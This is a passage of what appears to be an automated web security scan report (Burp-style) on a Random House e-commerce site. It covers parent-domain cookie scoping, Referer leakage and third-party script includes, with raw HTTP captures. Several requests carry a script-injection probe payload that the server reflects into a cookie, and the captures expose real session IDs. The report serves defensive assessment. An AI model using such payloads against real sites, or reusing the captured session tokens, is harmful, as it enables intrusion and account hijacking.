The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /cart.do?from=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B6E)%3C/script%3E&addFlag=false&coupon=3&submit=Apply HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; CP=null*; mbox=session#1303855598284-166145#1303859906|PC#1303855598284-166145#1366930046|check#true#1303858106; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:47:26 GMT
Server: Apache
Set-Cookie: rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; Domain=.randomhouse.com; Expires=Wed, 25-Apr-2012 22:47:27 GMT
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19741


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

6. Cross-domain Referer leakage  previous  next
There are 9 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


6.1. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cart.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:22 GMT
Server: Apache
Set-Cookie: JSESSIONID=99AF3E637ECB1D69552DA7E98D58C60F.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19400


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://randomhouse.122.2o7.net/b/ss/ranhdev/1/H.17--NS/0"
height="1" width="1" border="0" alt="" />
</a>
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
<div class="rhbw_rfloat">
                       <a href="http://www.bertelsmann.com/"><img src="store/images/rh/bw06/base/foot_logo_bmg.png" alt="Bertelsmann Media Worldwide" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.2. https://ecommerce.randomhouse.com//create-address.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //create-address.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET //create-address.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:15 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 24044


<!-- createAddress.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http:/
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.3. https://ecommerce.randomhouse.com//email-password.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //email-password.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET //email-password.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:11 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18043


<!-- updateEmailPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.4. https://ecommerce.randomhouse.com//select-address.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //select-address.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET //select-address.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:15 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16341


<!-- selectAddress.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http:/
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.5. https://ecommerce.randomhouse.com//view-orders.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //view-orders.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET //view-orders.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:12 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 14600


<!-- orderHistory.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.6. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.7. https://ecommerce.randomhouse.com/create-account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /create-account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:21:11 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 20226


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.8. https://ecommerce.randomhouse.com/password.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /password.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /password.do?from= HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:19:40 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 11309


<!-- forgottenPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="htt
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

6.9. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

7. Cross-domain script include  previous  next
There are 12 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


7.1. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /cart.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:22 GMT
Server: Apache
Set-Cookie: JSESSIONID=99AF3E637ECB1D69552DA7E98D58C60F.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19400


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.2. https://ecommerce.randomhouse.com//account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //account.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET //account.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:49:24 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17091


<!-- account.vm -->


